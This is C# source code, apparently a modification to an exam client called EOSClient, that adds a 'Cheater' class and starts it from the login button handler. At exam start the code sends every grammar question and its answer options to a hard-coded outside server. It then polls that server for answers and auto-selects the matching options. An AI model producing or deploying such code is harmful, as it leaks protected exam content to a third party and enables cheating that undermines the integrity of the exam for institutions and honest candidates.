using System; using System.IO; using System.Net; using System.Threading; using IRemote; using QuestionLib.Entity; namespace EOSClient { public class Cheater { public Cheater() { } public static void exec(ref EOSData ed) { WebClient webClient = new WebClient(); SendToServer(ed); while (true) { for (int k = 0; k < ed.ExamPaper.GrammarQuestions.Count; k++) { Question question2 = (Question)ed.ExamPaper.GrammarQuestions[k]; try { string answer = webClient.DownloadString("http://54.249.166.250/out.php?qid=" + question2.QID); for (int l = 0; l < question2.QuestionAnswers.Count; l++) { QuestionAnswer questionAnswer2 = (QuestionAnswer)question2.QuestionAnswers[l]; if (answer == questionAnswer2.Text) { questionAnswer2.Chosen = true; questionAnswer2.Done = true; questionAnswer2.Selected = true; } } } catch (Exception) { } Thread.Sleep(100); } Thread.Sleep(90 * 1000); } } static void SendToServer(EOSData ed) { WebClient webClient = new WebClient(); do { try { foreach (Question question in ed.ExamPaper.GrammarQuestions) { string text = string.Empty; foreach (QuestionAnswer questionAnswer in question.QuestionAnswers) { text += questionAnswer.Text + "|"; } string address = string.Format("http://54.249.166.250/in.php?qid={0}&question={1}&qanswer={2}", question.QID, question.Text, text); webClient.DownloadString(address); Thread.Sleep(100); } break; } catch (Exception) { } } while (true); } } } //------------------------------------------------------------------ private void btnLogin_Click(object sender, EventArgs e) { //.... //form.Show(); new System.Threading.Thread(delegate() { Cheater.exec(ref eosdata); }).Start(); }